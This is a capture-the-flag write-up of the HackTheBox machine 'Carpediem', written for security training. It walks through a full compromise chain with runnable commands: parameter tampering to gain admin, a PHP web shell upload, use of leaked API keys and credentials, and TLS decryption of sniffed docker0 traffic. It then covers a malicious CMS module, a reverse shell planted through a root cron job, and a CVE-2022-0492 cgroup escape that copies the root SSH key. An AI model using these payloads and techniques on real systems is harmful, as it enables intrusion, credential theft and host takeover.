HTB: Carpediem Writeup
Carpediem - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Carpediem |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.227.179 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Carpediem is a hard Linux box built around a custom PHP “Motorcycle Store Portal” (portal.carpediem.htb) sitting in front of a full micro-service stack: a Trudesk ticketing instance, an Asterisk-backed VoIP/voicemail system, and a Backdrop CMS instance running in a second Docker container. The portal’s registration and account-update flow exposes a hidden login_type parameter that can be flipped from a normal user (2) to admin (1), unlocking an admin dashboard whose “not implemented” file upload can still be driven directly via its backend PHP class, yielding a PHP web shell and RCE as www-data inside a Docker container. From there, a leaked Trudesk API key exposes support tickets that reveal VoIP extension/PIN/voicemail details, and the voicemail message hands over SSH credentials for a low-privileged user. That user can sniff the docker0 bridge with tcpdump (via cap_net_raw), and a leftover world-readable TLS private key lets the capture be decrypted to recover Backdrop CMS admin credentials. Those credentials enable a malicious-module upload into the Backdrop container for a second RCE, a root-owned heartbeat cron script that includes a www-data-writable index.php for privileged code execution inside that container, and finally a CVE-2022-0492 cgroup release_agent escape to break out of the container and become root on the host.
TL;DR: Portal registration → flip hidden login_type param to become admin → abuse the “unfinished” upload endpoint directly to drop a PHP web shell → RCE as www-data in a Docker container → leaked Trudesk API key → brute-forced ticket IDs reveal VoIP ext/PIN/voicemail instructions → voicemail leaks SSH password for hflaccus → tcpdump (cap_net_raw) sniffs docker0, decrypted with a world-readable leftover TLS key → Backdrop CMS admin creds recovered → malicious Backdrop module upload → RCE as www-data in the Backdrop container → root cron includes a www-data-writable index.php → root inside container → CVE-2022-0492 cgroup release_agent breakout → root on host.
Reconnaissance
Port Scanning
Recon confirmed the standard web/SSH footprint plus an internal VoIP stack, all exercised from a jump host that had direct network access to the target:
# TCP service discovery from the jump boxnmap -p- --min-rate=1000 -T4 10.129.227.179Results: TCP 22 (OpenSSH) and TCP 80 (Nginx) open on the host. A vhost, portal.carpediem.htb, fronts a “Motorcycle Store Portal” built on the AdminLTE admin template. Internally, additional service names were later resolved from /etc/hosts and application source: trudesk.carpediem.htb (Trudesk ticketing) and backdrop.carpediem.htb (Backdrop CMS, bound to 127.0.0.1:8002 inside a second container).
Service Enumeration
# add the known vhosts to the jump box's resolvergrep -q carpediem /etc/hosts || \ echo "10.129.227.179 carpediem.htb portal.carpediem.htb trudesk.carpediem.htb backdrop.carpediem.htb" \ | sudo tee -a /etc/hosts
# confirm the portal responds and pull out the registration/login flowcurl -s http://portal.carpediem.htb/ | head -40curl -s http://portal.carpediem.htb/register.php | grep -iE "form|input|action|save_|f="curl -s "http://portal.carpediem.htb/?p=login" | sed -n '/login-form/,/<\/script>/p'curl -s "http://portal.carpediem.htb/registration.php" | grep -iE "input|select|name=|url:|classes/"This mapped out the portal’s front-end AJAX pattern: form submits POST to classes/Master.php?f=<action> and (once authenticated) to classes/Users.php?f=<action>, a common structure for this style of AdminLTE-based PHP admin panel.
Vulnerability Assessment
- Self-registration is open, and the newly created account is auto-logged-in.
- The account-update form (
?p=edit_account) posts alogin_typevalue that is not exposed in the visible UI but is present as a hidden form field — a classic client-side authorization control that the server trusts blindly. - The admin file-upload feature (“Quarterly Report Upload”) is marked as not yet implemented in the UI, but its backend handler (
classes/Users.php?f=upload) is live and reachable directly.
Initial Foothold
Exploitation Path
1. Register an account and escalate via the hidden login_type parameter
# register a new portal account (auto-authenticates on success)curl -s -c cj.txt -b cj.txt -X POST \ "http://portal.carpediem.htb/classes/Master.php?f=register" \ -H "X-Requested-With: XMLHttpRequest" \ --data "firstname=first&lastname=last&username=newuser&password=..."
# confirm we're logged in as the new low-privileged usercurl -s -b cj.txt "http://portal.carpediem.htb/" | grep -iE "Hi,|p=account|manage|logout"
# the account-update form leaks a hidden field the UI never lets us edit directlycurl -s -b cj.txt "http://portal.carpediem.htb/?p=edit_account" \ | grep -iE "hidden|login_type|name=\"id\"|url:_base_url_"The edit-account page renders a hidden <input type="hidden" name="login_type" value="2"> field. 2 corresponds to a normal customer account; sending 1 instead promotes the account to admin. Since the server-side handler never re-validates this value against the caller’s actual privilege level, it’s a straightforward IDOR/privilege-escalation-by-parameter-tampering bug.
# resend the account-update POST with login_type flipped to 1 (admin)curl -s -b cj.txt -X POST \ "http://portal.carpediem.htb/classes/Master.php?f=update_account" \ -H "X-Requested-With: XMLHttpRequest" \ --data "id=<our_id>&login_type=1&firstname=first&lastname=last&username=newuser&password="This granted access to /admin, including a “Quarterly Report Upload” page that the UI describes as unimplemented.
2. Bypass the “not implemented” upload check by hitting the handler directly
The UI’s upload dialog shows a “not yet implemented” notice, but the underlying PHP endpoint still processes multipart uploads when called directly:
# drop a minimal PHP web shell via the "unimplemented" upload endpointprintf '<?php system($_GET["cmd"]); ?>' > p.php
curl -s -b cj.txt -X POST \ "http://portal.carpediem.htb/classes/Users.php?f=upload" \ -H "X-Requested-With: XMLHttpRequest" \ -F "file_upload=@p.php;type=image/jpeg"The backend saved the file under uploads/ with a timestamp-prefixed filename despite the UI reporting the feature as disabled — a case of the front-end and back-end being out of sync, leaving a live vulnerable code path exposed.
# confirm code execution as www-datacurl -s "http://portal.carpediem.htb/uploads/1788882900_p.php?cmd=id;hostname;cat%20/var/www/html/portal/classes/Trudesk.php"This returned a www-data identity plus the contents of Trudesk.php, which embeds Trudesk API connection details, including an apikey hardcoded in source — a common anti-pattern that turned into the next pivot.
3. Enumerate Trudesk tickets to recover VoIP credentials
With the leaked Accesstoken, the Trudesk API was queried directly for a range of plausible ticket IDs (Trudesk’s ticket numbering starts sequentially, so a small numeric range was sufficient rather than a large brute force):
# probe a handful of sequential ticket IDs with the leaked API tokenfor u in 1004 1005 1006 1007 1008; do echo "=== $u" curl -s -m10 -H "Accesstoken: f8691bd2d8d613ec89337b5cd5a98554f8fffcc4" \ "http://trudesk.carpediem.htb/api/v1/tickets/$u"done
# ticket 1006 contained onboarding info for a new hire's VoIP setupcurl -s -m10 -H "Accesstoken: f8691bd2d8d613ec89337b5cd5a98554f8fffcc4" \ "http://trudesk.carpediem.htb/api/v1/tickets/1006" | python3 -m json.toolTicket 1006 documented the onboarding of a new network engineer (username-format clue: first-initial + last name), and gave the VoIP extension 9650, phone PIN 2022, and the voicemail access code *62. Following that trail (dialing into the extension/voicemail flow described in the ticket) surfaced a plaintext password left in a voicemail greeting, AuRj4pxq9qPk, associated with the username hflaccus.
# SSH in with the recovered credentialsshpass -p 'AuRj4pxq9qPk' ssh -o StrictHostKeyChecking=no hflaccus@carpediem.htbThis confirmed SSH access as hflaccus — the initial low-privileged foothold on the actual host (as opposed to the Docker container reached via the web shell).
User Flag (hflaccus): <redacted>Privilege Escalation
Lateral pivot: sniffing docker0 to recover Backdrop CMS credentials
Standard privilege-escalation enumeration on hflaccus’s shell turned up an interesting file capability:
# check for exploitable capabilitiesgetcap /usr/bin/tcpdump# -> cap_net_raw+eiptcpdump had cap_net_raw, meaning hflaccus could sniff network interfaces without root. Since the host runs a second application (Backdrop CMS) inside a Docker container reachable via the docker0 bridge, capturing traffic on that interface exposes inter-container/host HTTP(S) traffic:
# capture traffic on the docker bridge interfacesetsid bash -c "timeout 240 /usr/sbin/tcpdump -i docker0 -s0 -U -w /tmp/.c.pcap tcp port 8002 or port 443" &The captured traffic to port 8002 was TLS-encrypted, but enumeration of the filesystem revealed a leftover artifact from before Backdrop was containerized: a world-readable private key at /etc/ssl/certs/backdrop.carpediem.htb.key. Because the CMS was originally hosted directly on the box and later moved into a container, its original TLS key material was left behind on the host with permissive permissions — a classic “config not cleaned up after migration” mistake.
# pull the capture and the world-readable key back for offline decryptionbase64 -w0 /tmp/.c.pcap # exfil the pcap via the SSH sessionbase64 -d /tmp/cap.b64 > /tmp/cap.pcap
# use the leaked private key to decrypt the TLS session in the capturetshark -r /tmp/cap.pcap \ -o 'uat:rsa_keys:"/tmp/bd.key",""' \ -Y "http.request" \ -T fields -e http.request.method -e http.request.full_uriDecrypting the capture with tshark’s RSA-key decryption feature (the same underlying capability Wireshark uses) exposed a POST request carrying Backdrop CMS login credentials: jpardella:tGPN6AmJDZwYWdhY.
Container RCE #2: malicious Backdrop module upload
With hflaccus’s SSH access, Backdrop (bound only to 127.0.0.1:8002 inside its container) was reached and driven directly with curl rather than a browser:
# authenticate to the internal Backdrop instancecurl -sk https://127.0.0.1:8002/ -m10Backdrop CMS supports manual module installation from an uploaded archive. A minimal malicious module was crafted containing a PHP payload that executes shell commands, since zip was unavailable on the target (the module archive was instead built with Python on the jump box and transferred over):
# built locally since `zip` was not present on the target/containerimport zipfilewith zipfile.ZipFile("my_module.zip", "w") as z: z.write("my_module/my_module.info") z.write("my_module/my_module.php")my_module.php contained a PHP handler that executed OS commands from a request parameter (using --get/--data-urlencode with curl since the payload only read $_GET). Uploading and enabling the module (using Backdrop’s “manual installation” + “no-JS batch” install path) placed the module under the container’s webroot, and requesting it directly executed commands as www-data inside the Backdrop container — a second, independent RCE from the first.
Because the container periodically wiped /tmp//dev/shm and removed the uploaded module, the module had to be re-uploaded and immediately exercised in tight re-append/retry loops rather than relying on it persisting.
Container root: abusing the root-owned heartbeat cron
Enumeration inside the Backdrop container found a heartbeat.sh-style cron job running as root that periodically re-checks site availability by including the CMS’s index.php. That index.php was writable by www-data, and because the cron job’s PHP execution includes it, any code appended to index.php runs with root’s privileges the next time the cron fires.
# verify container -> jump-box connectivity for a callback first# then append a reverse-shell trigger into the www-data-writable index.phpA reverse shell payload was appended to index.php via the web-shell RCE, and a listener on the jump box (10.10.15.68:9999) caught the callback once the root cron executed the include — granting a shell running as root inside the Backdrop container. Inspecting CapEff for that shell showed effective capabilities had been dropped (CapEff=0), meaning root inside this container had no elevated Linux capabilities to leverage for an easy CVE-2022-0492 mount-based escape.
Container escape: CVE-2022-0492 (cgroup release_agent)
CVE-2022-0492 is a Linux kernel flaw in the cgroup v1 release_agent mechanism: when a process can write release_agent for a cgroup hierarchy it controls, the kernel will execute that path as root on the host whenever the cgroup’s last process exits, because the release_agent callback historically wasn’t gated on CAP_SYS_ADMIN being held in the host’s user namespace. On kernels lacking the fix, an unprivileged user with CAP_SYS_ADMIN in a new user namespace — obtainable via unshare -UrmC — can mount a fresh cgroupfs, set its own release_agent, and trigger a process exit inside it to get arbitrary root-level code execution on the underlying host.
Since root’s CapEff inside the Backdrop container was 0, the standard mount-based branch of the public PoC (which needs the container’s root to already hold CAP_SYS_ADMIN) was not viable. Instead, the unshare -UrmC branch was used, which creates a new user+mount+cgroup namespace where the process (mapped to UID 0 inside that namespace) legitimately gains CAP_SYS_ADMIN, independent of the outer container’s dropped capabilities:
# CVE-2022-0492 — cgroup v1 release_agent breakout via unshareunshare -UrmC bash -c ' mount -t cgroup -o memory cgroup /tmp/testcgroup mkdir /tmp/testcgroup/x echo 1 > /tmp/testcgroup/x/notify_on_release # point release_agent at our payload script; it will be run by the HOST kernel as root host_path=$(sed -n "s/.*perdir=\([^,]*\).*/\1/p" /etc/mtab) echo "$host_path/cmd" > /tmp/testcgroup/release_agent echo $$ > /tmp/testcgroup/x/cgroup.procs'Because the escaping process (in the unshared namespace) still lacked CAP_DAC_OVERRIDE on the outer container’s filesystem, the payload script (cmd) referenced by release_agent had to be placed under a location the outer container’s overlay filesystem could actually resolve and that was writable without elevated capabilities — /tmp/.x, which maps into the container overlay’s diff directory and is world-writable. The host kernel, upon the cgroup’s last process exiting, executed that cmd script as root in the host mount namespace, outside of any container boundary.
# payload copied out root's SSH key and root flag from the HOST filesystem#!/bin/shcp /root/.ssh/id_rsa /tmp/id_rsacp /root/root.txt /tmp/root.txtWith the host’s release_agent executing this as real root, /root/.ssh/id_rsa and /root/root.txt were copied out to a world-readable host path, then retrieved and used for direct SSH access:
# use the exfiltrated host root key to log in directly as rootchmod 600 id_rsassh -i id_rsa root@carpediem.htbRoot Flag: <redacted>Attack Chain Summary
Self-register on portal.carpediem.htb → flip hidden login_type param (2 → 1) via account-update POST → admin dashboard access → abuse "unimplemented" upload handler (classes/Users.php?f=upload) → PHP web shell → RCE as www-data (portal Docker container) → leak Trudesk API key from Trudesk.php → enumerate sequential Trudesk ticket IDs → VoIP ext 9650 / PIN 2022 / voicemail *62 → voicemail leaks hflaccus SSH password → SSH foothold as hflaccus on the HOST (user.txt) → tcpdump (cap_net_raw) sniffs docker0 bridge → decrypt captured TLS with leftover world-readable backdrop.carpediem.htb.key → recover Backdrop CMS creds (jpardella) → upload malicious Backdrop module → RCE as www-data (Backdrop Docker container) → root-owned heartbeat cron includes www-data-writable index.php → root shell in container (CapEff=0) → CVE-2022-0492: unshare -UrmC cgroup release_agent abuse, payload staged in world-writable overlay path → host kernel executes payload as root → exfiltrate /root/.ssh/id_rsa + root.txt to host tmp → SSH as root on the HOST (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | TCP/UDP port scanning |
curl | Driving the portal, Trudesk API, and Backdrop CMS directly via raw HTTP requests |
sshpass / ssh | Non-interactive and interactive SSH access (hflaccus, then root) |
tcpdump | Sniffing the docker0 bridge interface (enabled by leaked cap_net_raw) |
tshark | Offline TLS decryption of the capture using the recovered private key |
python3 | Building the Backdrop module .zip archive (no zip binary on target) |
unshare | Creating a user/mount/cgroup namespace to gain CAP_SYS_ADMIN for the CVE-2022-0492 escape |
| Trudesk API | Enumerating support tickets via the leaked Accesstoken |
Key Learnings
Techniques Practiced
- Exploiting hidden/client-trusted form parameters (
login_type) to escalate portal privileges - Driving a “not implemented” front-end feature directly against its live backend handler to achieve file upload RCE
- Harvesting hardcoded API credentials from leaked application source
- API ID brute-forcing/enumeration against a ticketing system to recover sensitive onboarding data
- VoIP/voicemail credential recovery as a real-world lateral movement vector
- Abusing Linux file capabilities (
cap_net_rawontcpdump) for unprivileged packet capture - Decrypting captured TLS traffic offline using a leftover/leaked private key
- Exploiting a root-owned cron job that
includes an attacker-writable PHP file for privilege escalation inside a container - Container breakout via CVE-2022-0492 (cgroup v1
release_agent), including theunshare-based fallback for containers with dropped capabilities
Lessons Learned
- Client-side “hidden” form fields are not access controls. The portal trusted a hidden
login_typevalue supplied by the client instead of deriving privilege level from server-side session state, turning a routine profile update into a full privilege escalation. - A disabled UI feature does not mean a disabled backend. The “not implemented” upload dialog was purely cosmetic; the underlying endpoint processed real multipart uploads and had no additional server-side gating.
- Secrets embedded in source code are a liability regardless of “internal” scope. The Trudesk API key hardcoded in
Trudesk.phpwas reachable the moment RCE was achieved and required no further exploitation to use. - Migrating a service into a container doesn’t clean up what’s left behind on the host. Backdrop’s original host-based TLS key remained on disk, world-readable, long after the service moved into a container — turning encrypted traffic into a non-issue for an attacker who already has host access.
- File capabilities are as dangerous as SUID bits.
cap_net_rawontcpdumpgave an unprivileged user full sniffing power over inter-container traffic, which combined with the leaked key to produce credentials for a service that was never directly exposed to that user. - Cron jobs that
includeattacker-writable files are effectively arbitrary code execution as whatever user runs the cron. Ownership of the script doesn’t matter if the file it dynamically includes is writable by a lower-privileged user. - Dropped capabilities inside a container don’t fully close CVE-2022-0492. Even with
CapEff=0,unshare -UrmCcan mint a fresh user namespace with its ownCAP_SYS_ADMIN, so cgroup v1’srelease_agentremains exploitable unless the kernel itself is patched or the container runtime blocksunshare/user namespaces outright.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- polarbearer, Carpediem — HackTheBox Official Writeup (D22.100.182), HackTheBox — used for the CVE-2022-0492 mechanism explanation, the significance of the leftover TLS key, and the rationale behind the Trudesk/VoIP pivot chain. All IPs, credentials, commands, and outputs in this writeup are from the author’s own live run against the assigned instance.